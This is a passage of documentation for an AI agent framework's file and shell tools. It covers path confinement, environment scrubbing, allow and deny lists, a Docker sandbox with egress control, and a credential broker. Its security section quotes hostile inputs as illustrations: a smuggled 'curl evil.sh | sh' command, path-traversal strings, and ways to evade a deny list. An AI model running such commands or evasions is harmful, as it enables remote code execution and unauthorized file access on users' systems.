node:fs or
node:child_process themselves. They call two small interfaces,
FsProvider and ShellProvider, so the same tools work against a local
directory, an in-memory tree in tests, a Docker container, or a remote
sandbox such as E2B, Daytona or Cloudflare.
createAgent() agent pauses the same way: send() resolves with
finishReason: 'awaiting-approval' and agent.approvals.resolve() runs (or
rejects) the command and continues (see Approvals). To let
some commands run without asking, pass needsApproval: false together with an
allow list, or a needsApproval predicate that returns false for the
commands you trust.
The tools
createFsTools(fs, options?) returns these defineTool tools:
createShellTool(shell, options?) returns one tool, shell, that takes
command and an optional timeout_ms. It returns
{ exitCode, stdout, stderr }. When the command was killed, the result also
has timedOut: true or aborted: true and a note saying why.
agent.send(input, { signal }) or
AgentExecutor.execute({ signal })) kills the running command together with
every process it started: a process group on Linux and macOS, and
taskkill /T on Windows.
Security model
Read this before you give a model a shell.What is enforced
Paths stay inside the root. Before any file is touched,NodeWorkspace
(and MemoryWorkspace) normalizes each path. These are rejected on every
platform:
..that climbs above the root (../secret,src/../../secret)- absolute paths (
/etc/passwd, and an absolute path that points inside the root) - Windows drive letters (
C:\Windows,C:secret) - UNC and extended-length paths (
\\server\share,//server/share,\\?\C:\) - NUL bytes
src/..\..\secret) cannot hide a ... On Windows, : (alternate data
streams), reserved device names (CON, NUL, COM1, …) and segments made
only of dots and spaces (Windows drops trailing dots and spaces, so ..
would act as ..) are rejected too.
Symlinks cannot escape. After that check, NodeWorkspace resolves the
path with realpath. If the path does not exist yet, it resolves the deepest
part that does exist. The result must still be inside the root’s own real
path. This means:
- A link inside the root that points outside it is rejected for reads, and
for writes to files that do not exist yet (
escape-link/new.txt). - A link whose target does not exist is never followed, because writing through it could create a file outside the root.
globandgrepnever follow links while walking the tree.rmon a link removes the link itself and leaves its target alone.
WorkspaceError inside the tool. The model receives
{ "error": "WorkspaceError", "toolName": "read_file", "message": "..." }
and the run continues. Messages show the workspace path, never the host
path.
Commands get a minimal environment. NodeWorkspace runs commands with
cwd set to the root. It does not pass on the parent process’s environment.
Only PATH, HOME, USERPROFILE, TEMP, TMP, TMPDIR, LANG, LC_*
and TERM are copied, plus SystemRoot, SystemDrive, ComSpec,
PATHEXT and WINDIR on Windows, because a shell needs them to start. So
OPENAI_API_KEY, ANTHROPIC_API_KEY, cloud credentials and other secrets
in your server’s environment are not visible to commands the model writes,
and env or printenv cannot reveal them. To give commands more, either
pass values (env: { GITHUB_TOKEN: scopedToken }) or name host variables to
copy (inheritEnv: ['CI']). Anything you pass this way is visible to the
model. inheritEnv: true passes the whole host environment, as before
this default existed; use it only for commands you trust. On Windows,
Node’s process launcher also adds the session variables every process needs
(HOMEDRIVE, HOMEPATH, USERNAME, USERDOMAIN, LOGONSERVER); none of
them is a secret.
allow and deny are checked first, so a
refused command is never offered for approval:
- A string pattern matches a command that is exactly the pattern, or starts
with it followed by a space (
'git status'matchesgit status -s). - In
allow, a command matched only by a string pattern must not contain shell operators (;&|`$(<>or a newline). This stopsgit status; curl evil.sh | shfrom passing asgit status. - A RegExp is tested against the whole command line, so anchor it:
/^npm (test|run lint)$/. denystring patterns are checked against each;,&or|separated part of the command.
What is NOT enforced
NodeWorkspace’s shell is not a sandbox. Path confinement applies to the file tools only. A command runs as your OS user and can read, write or delete anything that user can, including../and~/.ssh, and it can use the network. Approval andallowlists reduce the risk, but they are not isolation. For untrusted input, such as prompts from the public or content fetched from the web, give the shell tool a sandbox-backedShellProvider(see below) and use the file tools withreadOnly: trueor approval.- A deny list is a convenience. A shell has many ways to write the same
command (
r''m -rf,$(echo rm), an extra space, a script file), so do not rely ondenyfor security. Useallowfor that. - Races and hard links. Paths are checked, then used. A process that swaps a directory for a symlink between those two steps can get around the check. Such a process already has local access, for example a command the shell tool ran without a sandbox. A hard link inside the root to a file outside it cannot be detected.
grepruns the model’s regex in your process. A pathological pattern can be slow. Lines and files are capped, but the regex engine itself is not time-limited.
Sandboxed shell: SandboxShell
SandboxShell adapts any SandboxAdapter, for example the Docker-backed
SubprocessSandbox, into a ShellProvider. Each command runs as
sh -c "<command>" in a new container with no network. The container sees
only cwd, which is bind-mounted at the same path. It gets only the env
you pass, nothing from the host. File tools can keep using NodeWorkspace
on the same directory:
SandboxShell takes the same env and
inheritEnv options as NodeWorkspace. A container gets only those
variables: never the host environment, and not the host’s PATH or HOME
either, because the image brings its own. With NoopSandbox (which runs on
the host) a command gets the same small base NodeWorkspace uses, plus
your variables; inheritEnv: true restores the whole host environment
there, but a container still never receives it.
SubprocessSandbox takes a network policy:
Host names are checked when the sandbox is constructed, so a URL or a
malformed name throws; the validated list is kept on
sandbox.network.
Allowlisted egress: network: { allow } with a broker
Docker cannot filter outgoing traffic by host name by itself, so an allow
list is only enforced when a proxy is the container’s only way out.
SubprocessSandbox builds that with Docker’s own primitives:
- On the first
run()it creates an internal bridge network (Internal: true, no IPv6, labelcom.lousho.sandbox=egress), namednetworkNameorlousho-egress-<random>. An internal network has no route off the bridge. If a network with that name exists, it is reused, but only if it is internal. - The broker gets a second listener on that network’s gateway address,
which on Docker Engine for Linux is the host’s own interface on the
bridge. It accepts connections only from the network’s subnet (any other
peer is dropped before a byte is read), so it is not an open proxy on the
host’s other interfaces. Its allowlist is the broker’s rule hosts plus the
sandbox’s
allowlist. The broker’s ownallowoption and its loopback listener are unchanged. - Every container joins that network with
HTTP_PROXY/HTTPS_PROXY(and lower-case forms) set to the gateway listener, merged over theenvyou pass.NO_PROXYholds only the gateway address, so$HTTP_PROXY/__broker/<host>/<path>(the path form that adds credentials) reaches the broker directly; it gives no other bypass, because nothing else is reachable. sandbox.close()stops the listener and removes the network if this sandbox created it. An aborted or timed-out run removes its container as before; the network stays for the sandbox’s next run untilclose().
- Docker Engine on Linux, with the agent on the same host: enforced. The
container can reach the gateway address and nothing past the bridge. DNS:
the container resolves no outside names itself (Engine 25.0.5 and later do
not forward DNS from internal networks, CVE-2024-29018; older Engines are
refused), so names go to the proxy, which resolves them on the host after
the allowlist check. Raw IP connections have no route. Non-HTTP protocols
(SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and
CONNECTtunnels are checked against the allowlist like any request. - Docker Desktop (Windows, macOS, and Desktop on Linux): refused.
Containers run in a VM, so the host has no address on the internal
network.
host.docker.internalreaches the host only from non-internal networks, which would also reach everything else.run()rejects withLOUSHO_SANDBOX_EGRESS_UNSUPPORTEDand starts no container. So do rootless Docker (the bridge lives in its own network namespace), a daemon on another machine (the broker cannot bind the gateway address), a reused network that is not internal, and an Engine older than 25.0.5. - Other services on the host’s bridge address. A container on an
internal network can reach any host service that listens on the gateway
address or on all addresses (
0.0.0.0). Bind host services to127.0.0.1, or firewall the bridge subnet to the broker’s port only. A host firewall that drops traffic from the bridge (a strictINPUTpolicy) blocks the broker too: runs then fail to connect, they do not get open egress. - Host commands are still not firewalled. A
NodeWorkspaceorNoopSandboxcommand can ignore the proxy variables; see the credential broker notes below.
env or inheritEnv is
readable by the model’s commands, and network: 'default' lets a command
send it anywhere. Keep long-lived secrets out of both; use the credential
broker below instead.
When the run is aborted, SandboxShell passes the abort signal to the adapter.
SubprocessSandbox then kills and removes the container and the shell tool
reports aborted: true; a signal that is already aborted starts no container.
An adapter that ignores SandboxRunOptions.signal is no longer waited on, but
its command keeps running until its timeout; the shell tool always sets one.
Credential broker
A command the model runs (git, curl, a script) sometimes has to call an
authenticated API, but any token in its environment is readable by the
model. createCredentialBroker() keeps the token on the host: it starts a
local HTTP proxy that adds the auth headers to requests for the hosts you
name, so the command only ever sees the proxy’s address.
- What it returns.
url(the proxy, on an ephemeral127.0.0.1port by default),env(HTTP_PROXY,HTTPS_PROXY,NO_PROXYand lower-case forms, for theenvoption ofNodeWorkspaceorSandboxShell),baseUrl(host)andclose(), which stops the listener and destroys open sockets. A header value is a string or a function called per request. - Allowlist. Rule hosts (exact names or
*.suffix) are allowed implicitly;allowadds hosts reached without injected headers. Any other host gets a 403 before a connection is opened. Hosts that resolve to loopback, link-local (such as the cloud metadata address169.254.169.254) or private addresses are refused unless listed inallowPrivate, so a command cannot use the proxy to reach services on your machine or network. - Secrets stay on the host. Injected values never appear in
env, in the proxy’s error responses or in any log. A request to a brokered host that already carries anAuthorizationheader has it removed and replaced. Hop-by-hop headers (Connection,Proxy-Authorization, …) are not forwarded. - HTTPS limitation. Header injection works on plain-HTTP requests and on
the path form: the broker serves
http://127.0.0.1:<port>/__broker/<host>/<path>and forwards it tohttps://<host>/<path>with the headers added, which is whatbaseUrl(host)returns. Point a tool at that base URL (for example an SDK’sbaseURLoption or acurlURL) to get auth without holding the token. A client that usesHTTPS_PROXYfor anhttps://URL opens aCONNECTtunnel instead: the broker checks the allowlist on the tunnel target and passes the encrypted bytes through untouched, so no header is added. The broker does not intercept TLS. - It is not a firewall on the host. A command run by
NodeWorkspacecan ignore the proxy variables and open its own connections; the allowlist only covers traffic sent through the broker. What the broker guarantees is that the token is never in the command’s reach. - Containers. Do not pass
broker.envto aSubprocessSandbox: it points at the host’s loopback. Pass the broker itself instead,new SubprocessSandbox({ network: { allow }, broker }), and the sandbox routes its containers through it (see Allowlisted egress). It does that withbroker.listen({ host, clients, allow }), which adds a listener on another address that serves only peers from theclientssubnet, with the rule hosts plusallowas its allowlist. The broker listens on loopback only unless you call it.
Writing your own provider
Both interfaces are small. Paths are workspace-relative and use/.
normalizeWorkspacePath() applies the same checks the built-in providers
use. A provider exposed to a model must confine paths itself, because a
custom tool could call it directly. Throw WorkspaceError with a readable
message on failure.
ShellProvider.exec should resolve, not reject, for a non-zero exit code,
a timeout (timedOut: true) or an abort (aborted: true). It should reject
only when the command could not be started.
Testing with MemoryWorkspace
MemoryWorkspace keeps the file tree in memory and checks paths the same
way. Its exec is a stub you program, and every command it receives is
recorded. Combine it with mockModel for deterministic tests: